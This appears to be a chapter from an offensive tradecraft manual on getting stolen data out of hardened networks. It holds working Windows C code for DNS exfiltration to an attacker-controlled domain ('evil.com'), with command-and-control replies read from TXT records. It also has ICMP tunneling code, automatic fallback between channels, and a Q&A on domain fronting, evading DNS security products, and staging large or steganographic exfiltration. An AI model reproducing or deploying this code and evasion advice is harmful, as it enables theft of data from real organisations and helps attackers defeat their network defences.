Chapter 86

Exfiltration Channels

The primary HTTPS channel gets blocked? The DNS firewall catches the beacon? The enterprise proxy inspects and rejects the C2 traffic? Exfiltration channels are the fallback and alternative paths for getting data out of a hardened network. This chapter covers four distinct channels — HTTPS with domain fronting (primary), DNS exfiltration (secondary), ICMP tunneling (tertiary), and steganographic exfil (last resort) — each with different bandwidth characteristics, detection profiles, and operational complexity.

Exfiltration Channel Comparison

Four exfil channels — when to use each
  CHANNEL 1: HTTPS with Domain Fronting (primary)
  ─────────────────────────────────────────────────────────────────────────
  Bandwidth:   ~64 KB/beacon, scalable to MB/s with short intervals
  Detection:   Low (mimics normal HTTPS traffic to CDN)
  Blocking:    Only possible by blocking the CDN domain entirely (nuclear)
  How:         CloudFront/Azure CDN fronts the connection — SNI shows CDN,
               encrypted Host header shows actual C2 host
  When to use: Default. Always try HTTPS first.
  
  CHANNEL 2: DNS Exfiltration (secondary)
  ─────────────────────────────────────────────────────────────────────────
  Bandwidth:   ~1-4 KB/s (DNS payload size limits: 253 chars/query)
  Detection:   Medium (high-entropy subdomains, unusual query volume)
  Blocking:    Requires blocking specific domains or IP ranges of DNS server
  How:         Encode data as base32 subdomains: a1b2c3d4.data.evil.com
               Authoritative DNS server for evil.com reads the subdomains
  When to use: HTTPS is blocked, DNS outbound is allowed (almost always is)
  
  CHANNEL 3: ICMP Tunneling (tertiary)
  ─────────────────────────────────────────────────────────────────────────
  Bandwidth:   ~4-8 KB/s (payload in ICMP echo request/reply data field)
  Detection:   High (ICMP with data is unusual, size/frequency analysis)
  Blocking:    Block ICMP entirely (some networks do)
  How:         Encode data in ICMP Echo Request payload field
               C2 server responds with ICMP Echo Reply containing C2 data
  When to use: Everything else is blocked, ICMP is allowed outbound
  
  CHANNEL 4: Steganographic Exfil (last resort / long-game)
  ─────────────────────────────────────────────────────────────────────────
  Bandwidth:   ~500 B/image (LSB in PNG as covered in Ch66)
  Detection:   Very Low (looks like normal image upload to social media)
  Blocking:    Block all social media / image hosting sites
  How:         Upload images with LSB-encoded payload to Imgur, Twitter, etc.
               C2 monitors those accounts and extracts payloads
  When to use: Long-term low-and-slow campaign, HTTPS+DNS+ICMP all blocked

DNS Exfiltration Implementation

/* dns_exfil.c — Encode data as DNS query subdomains
   
   The attacker controls the domain "evil.com" and its authoritative NS.
   The agent issues DNS queries for subdomains of evil.com.
   These queries reach the attacker's DNS server, which reads the subdomains
   (which are base32-encoded chunks of the exfiltrated data).
   The attacker's DNS server "responds" with control data in TXT records.
   
   Query format:
     ...evil.com
   
   Where:
     seq = 4-hex-digit sequence number (for reassembly)
     chunk_b32 = base32-encoded data chunk (max ~30 chars per label)
     tag = 4-char campaign tag (identify which implant sent this)
   
   Max useful data per query:
     DNS label max: 63 chars
     Remaining after seq+tag overhead: ~50 chars base32
     base32 encoding ratio: 5 data bytes → 8 chars
     Max data per query: 50/8 × 5 = ~31 bytes per query
     At 30 queries/second: ~930 bytes/second practical throughput
*/

#include <windows.h>
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")

#define DNS_DOMAIN    "evil.com"      /* Attacker-controlled domain */
#define DNS_TAG       "abc1"          /* 4-char implant tag */
#define DNS_CHUNK_MAX 30              /* Max bytes per DNS query chunk */

/* Base32 encoding (RFC 4648, no padding) */
static const char b32_chars[] = "abcdefghijklmnopqrstuvwxyz234567";

static void base32_encode(const BYTE *in, DWORD in_len, char *out) {
    DWORD out_pos = 0;
    DWORD acc = 0, acc_bits = 0;
    for (DWORD i = 0; i < in_len; i++) {
        acc = (acc << 8) | in[i];
        acc_bits += 8;
        while (acc_bits >= 5) {
            acc_bits -= 5;
            out[out_pos++] = b32_chars[(acc >> acc_bits) & 0x1F];
        }
    }
    if (acc_bits > 0)
        out[out_pos++] = b32_chars[(acc << (5 - acc_bits)) & 0x1F];
    out[out_pos] = 0;
}

/* Send one chunk of data via DNS query */
static BOOL dns_exfil_chunk(WORD seq, const BYTE *data, DWORD data_len) {
    char b32_chunk[64] = {0};
    base32_encode(data, data_len, b32_chunk);
    
    /* Build the DNS query name */
    char query_name[256];
    snprintf(query_name, sizeof(query_name), "%04x.%s.%s.%s",
             seq, b32_chunk, DNS_TAG, DNS_DOMAIN);
    
    /* Issue the DNS query (TXT record type) */
    PDNS_RECORD dns_record = NULL;
    DNS_STATUS status = DnsQuery_A(query_name, DNS_TYPE_TXT,
                                    DNS_QUERY_STANDARD, NULL, &dns_record, NULL);
    
    /* We don't actually need the response — the server logs the subdomain.
       But TXT response can carry C2 commands back to the agent! */
    if (status == ERROR_SUCCESS && dns_record) {
        /* Parse TXT record for C2 commands from attacker */
        for (PDNS_RECORD r = dns_record; r; r = r->pNext) {
            if (r->wType == DNS_TYPE_TXT) {
                /* TXT record data = encoded C2 command */
                for (DWORD i = 0; i < r->Data.TXT.dwStringCount; i++) {
                    printf("[DNS C2] Received: %ls\n", r->Data.TXT.pStringArray[i]);
                    /* (decode and process as task) */
                }
            }
        }
        DnsRecordListFree(dns_record, DnsFreeRecordList);
    }

    /* Rate limit: don't send too fast — looks like DNS flood */
    Sleep(100 + (rand() % 200));  /* 100-300ms between queries */
    return TRUE;
}

/* Exfiltrate a buffer via DNS */
BOOL dns_exfil_buffer(const BYTE *data, DWORD data_len) {
    printf("[*] DNS exfil: %lu bytes via %s\n", data_len, DNS_DOMAIN);
    
    DWORD offset = 0;
    WORD  seq    = 0;
    
    while (offset < data_len) {
        DWORD chunk = data_len - offset;
        if (chunk > DNS_CHUNK_MAX) chunk = DNS_CHUNK_MAX;
        
        if (!dns_exfil_chunk(seq++, data + offset, chunk)) return FALSE;
        offset += chunk;
        
        if (seq % 10 == 0)
            printf("  DNS progress: %lu/%lu bytes\n", offset, data_len);
    }
    
    /* Send termination marker */
    char end_query[256];
    snprintf(end_query, sizeof(end_query), "ffff.end.%s.%s", DNS_TAG, DNS_DOMAIN);
    PDNS_RECORD r = NULL;
    DnsQuery_A(end_query, DNS_TYPE_TXT, DNS_QUERY_STANDARD, NULL, &r, NULL);
    if (r) DnsRecordListFree(r, DnsFreeRecordList);
    
    printf("[+] DNS exfil complete: %u queries sent\n", seq);
    return TRUE;
}

ICMP Tunneling

/* icmp_tunnel.c — Encode data in ICMP Echo Request payload
   
   Raw socket required — needs elevated privileges on modern Windows.
   Alternative: use IcmpSendEcho2() from iphlpapi.dll (available without elevation).
   
   IcmpSendEcho2() sends an ICMP echo and waits for reply.
   We encode data in the "RequestData" parameter.
   The C2 server echoes back control data in the reply.
*/

#include <windows.h>
#include <iphlpapi.h>
#include <icmpapi.h>
#pragma comment(lib, "iphlpapi.lib")

#define ICMP_PAYLOAD_MAX 1400   /* Max payload per ICMP echo request */

BOOL icmp_exfil_buffer(const char *c2_host, const BYTE *data, DWORD data_len) {
    HANDLE hIcmp = IcmpCreateFile();
    if (hIcmp == INVALID_HANDLE_VALUE) return FALSE;

    DWORD c2_ip = inet_addr(c2_host);
    
    /* Buffer for ICMP reply */
    BYTE reply_buf[sizeof(ICMP_ECHO_REPLY) + ICMP_PAYLOAD_MAX + 8];
    
    DWORD offset = 0;
    DWORD seq    = 0;
    
    while (offset < data_len) {
        DWORD chunk = data_len - offset;
        if (chunk > ICMP_PAYLOAD_MAX - 8) chunk = ICMP_PAYLOAD_MAX - 8;
        
        /* Prepend 8-byte header: [seq(4)][chunk_len(4)] */
        BYTE send_buf[ICMP_PAYLOAD_MAX];
        *(DWORD*)(send_buf+0) = seq;
        *(DWORD*)(send_buf+4) = chunk;
        memcpy(send_buf + 8, data + offset, chunk);
        
        DWORD reply_count = IcmpSendEcho2(
            hIcmp,
            NULL,              /* No event handle (synchronous) */
            NULL,              /* No callback */
            NULL,              /* No context */
            c2_ip,
            send_buf, (WORD)(chunk + 8),
            NULL,              /* IP options */
            reply_buf, sizeof(reply_buf),
            2000);             /* 2000ms timeout */
        
        if (reply_count == 0) {
            printf("[!] ICMP timeout at seq=%lu — host unreachable\n", seq);
            IcmpCloseHandle(hIcmp);
            return FALSE;
        }
        
        /* C2 server's ICMP reply data contains control messages */
        ICMP_ECHO_REPLY *reply = (ICMP_ECHO_REPLY*)reply_buf;
        if (reply->DataSize > 0 && reply->Data) {
            /* C2 returned data in the echo reply — parse as control message */
            printf("[ICMP C2] Reply data: %u bytes\n", reply->DataSize);
        }
        
        offset += chunk;
        seq++;
        Sleep(50);  /* 50ms between pings */
    }
    
    printf("[+] ICMP exfil complete: %lu bytes in %lu packets\n", data_len, seq);
    IcmpCloseHandle(hIcmp);
    return TRUE;
}

Automatic Channel Selection Logic

/* channel_selector.c — Automatically fall back through available channels */

typedef enum {
    CHAN_HTTPS  = 1,
    CHAN_DNS    = 2,
    CHAN_ICMP   = 3,
    CHAN_STEGO  = 4,
} ExfilChannel;

/* Test if a channel is operational */
static BOOL test_channel(ExfilChannel chan) {
    switch (chan) {
        case CHAN_HTTPS:
            /* Try a small HTTPS probe to CDN */
            /* return https_probe(C2_CDN_DOMAIN); */
            return TRUE;  /* placeholder */
        case CHAN_DNS: {
            /* Try resolving a known-good domain */
            PDNS_RECORD r = NULL;
            DNS_STATUS s = DnsQuery_A("connectivity-check.test." DNS_DOMAIN,
                                       DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &r, NULL);
            if (r) DnsRecordListFree(r, DnsFreeRecordList);
            return (s == ERROR_SUCCESS || s == DNS_ERROR_RCODE_NAME_ERROR);
        }
        case CHAN_ICMP: {
            /* Ping the C2 server */
            HANDLE h = IcmpCreateFile();
            BYTE reply[sizeof(ICMP_ECHO_REPLY) + 32];
            BYTE data[4] = {0xDE, 0xAD, 0xBE, 0xEF};
            DWORD r = IcmpSendEcho2(h, NULL, NULL, NULL, inet_addr("C2_IP"),
                                     data, 4, NULL, reply, sizeof(reply), 1000);
            IcmpCloseHandle(h);
            return r > 0;
        }
        default: return TRUE;  /* Stego always "works" (just slow) */
    }
}

ExfilChannel select_best_channel(void) {
    ExfilChannel channels[] = {CHAN_HTTPS, CHAN_DNS, CHAN_ICMP, CHAN_STEGO};
    for (int i = 0; i < 4; i++) {
        if (test_channel(channels[i])) {
            printf("[+] Using exfil channel: %s\n",
                   channels[i] == CHAN_HTTPS ? "HTTPS" :
                   channels[i] == CHAN_DNS   ? "DNS" :
                   channels[i] == CHAN_ICMP  ? "ICMP" : "Steganography");
            return channels[i];
        }
    }
    return CHAN_STEGO;  /* Last resort */
}

Questions & Answers

How does domain fronting work and why does it defeat TLS inspection?

Domain fronting exploits CDN infrastructure. Normal HTTPS: the TLS ClientHello includes the SNI (Server Name Indication) extension with the target domain. With domain fronting: the SNI is set to a legitimate CDN domain (e.g., "legitimate-cdn.cloudfront.net"), but the HTTP Host header inside the encrypted TLS tunnel contains the attacker's actual domain (e.g., "c2.evil.com"). The CDN decrypts the Host header and routes the request to the attacker's origin server. From the network monitoring perspective: the TLS connection goes to CloudFront's IP, and the SNI shows "legitimate-cdn.cloudfront.net" — blocking this would block all CloudFront traffic. The actual destination is visible only inside the TLS tunnel. TLS inspection proxies (DLP appliances) work by terminating and re-establishing TLS. If the CDN's certificate is presented to the proxy, the proxy sees a valid CloudFront connection — it's functionally correct. However, the Host header inside (which the proxy decrypts) reveals the actual C2 domain. This is how TLS inspection breaks domain fronting: it's not defeating TLS, it's defeating the SNI misdirection. Most enterprises don't run full TLS inspection (it breaks certificate pinning, creates performance issues, and requires installing their root CA everywhere).

How do you detect and evade DNS filtering (e.g., Cisco Umbrella, Zscaler DNS)?

DNS security products categorize domains and block queries to newly registered, uncategorized, or known malicious domains. Evasion strategies: (1) Domain aging: register your C2 domain 90+ days before the campaign. "Newly registered" is a major red flag for DNS security products. (2) Category spoofing: host some legitimate-looking content at your domain for 30-60 days before use. Some DNS security products re-evaluate domain reputation when content is present. (3) Use legitimate DNS providers as resolvers: query 8.8.8.8 (Google) or 1.1.1.1 (Cloudflare) for your exfil domain — some Umbrella deployments don't intercept queries going to these well-known resolvers. (4) DNS-over-HTTPS (DoH): encrypted DNS queries to 8.8.8.8:443 or 1.1.1.1:443 bypass DNS-layer filtering entirely because they look like HTTPS traffic, not DNS. (5) Short TTL + fast flux: rotate your DNS record's IP frequently. (6) Test from the victim: before committing to DNS exfil, issue a test query to a known-uncategorized domain and see if it resolves — if DNS filtering is active, even legitimate test domains may fail.

What's the practical detection rate for ICMP tunneling in enterprise environments?

Very high in environments with proper network monitoring. Any security analyst running basic network analysis sees: (1) ICMP echo requests with non-standard payload sizes (normal ping is 32 bytes; a 1400-byte ICMP payload is immediately suspicious), (2) High frequency of ICMP to a single external IP (normal: 4 pings; tunneling: hundreds per minute), (3) ICMP to unusual destinations (non-CDN IPs, IPs with no reverse DNS, IPs in hosting provider ranges). Snort/Suricata rules for ICMP tunnel detection are stock and enabled by default in many SOC rulesets. Practical use case: ICMP tunneling is useful for exfiltrating from networks where DNS is also blocked but ICMP outbound is allowed (unusual — most enterprises block outbound ICMP or heavily filter it). The better use: test ICMP connectivity as a network probe (does ICMP work?), then if yes, use it as a last resort. Never as a primary channel.

How do you exfiltrate very large data (10+ GB) when all channels are slow?

The fundamental constraint: a 10GB exfil over DNS at 4KB/s takes 29 days. No exfil channel makes 10GB fast in a heavily monitored network without being detected. Strategic approaches for large exfil: (1) Compress first: a 10GB database dump may compress to 1-2GB with LZNT1 or XPRESS. (2) Filter to extract only the high-value subset: don't exfil the entire database — query for the specific tables, records, or time ranges you actually need. A 10GB database often has 9.5GB of noise and 500MB of actionable intelligence. (3) Stage through the network: exfil from the victim to an internal server that has more bandwidth or less monitoring, then from that server to the internet. (4) Physical exfil trigger: if the target has physical access policies, consider that the most reliable way to exfil very large datasets remains a USB drive or printing and walking out. (5) Accept the timeline: for a long-term persistent campaign, 30 days of 4KB/s DNS exfil is acceptable. Schedule the data to trickle out continuously while other operations continue.

How do you use steganographic exfil at scale when uploading many images would look suspicious?

Single-image stego carries only ~500 bytes (from Ch66). To exfiltrate even 1MB requires 2000 images. Two approaches: (1) Blend into existing upload traffic: if the victim's machine regularly uploads photos (social media automation, backup to cloud, work photo uploads), inserting stego images into that existing traffic stream is nearly invisible. The volume is consistent with pre-existing behavior. (2) Higher-capacity stego: instead of PNG with 1 LSB per channel, use PNG with 2 LSBs per channel (4x capacity, still visually imperceptible for most images), or JPEG with DCT coefficient manipulation (requires more complex implementation but can carry several KB per image with no visible artifacts at quality 95+). (3) Use text-based stego: social media post text with Unicode zero-width characters embedded (zero-width joiner, zero-width non-joiner) can carry 1-2 bits per character invisibly. A 280-character tweet carries 35-70 bytes. Volume: posting 100 tweets per day = 3.5-7 KB/day. Slow, but posting activity is common and unmonitored. Operational stego: use it for C2 commands (small data) rather than bulk exfil. The agent reads a specific public social media account, extracts stego-encoded commands, and returns acknowledgment through a different channel.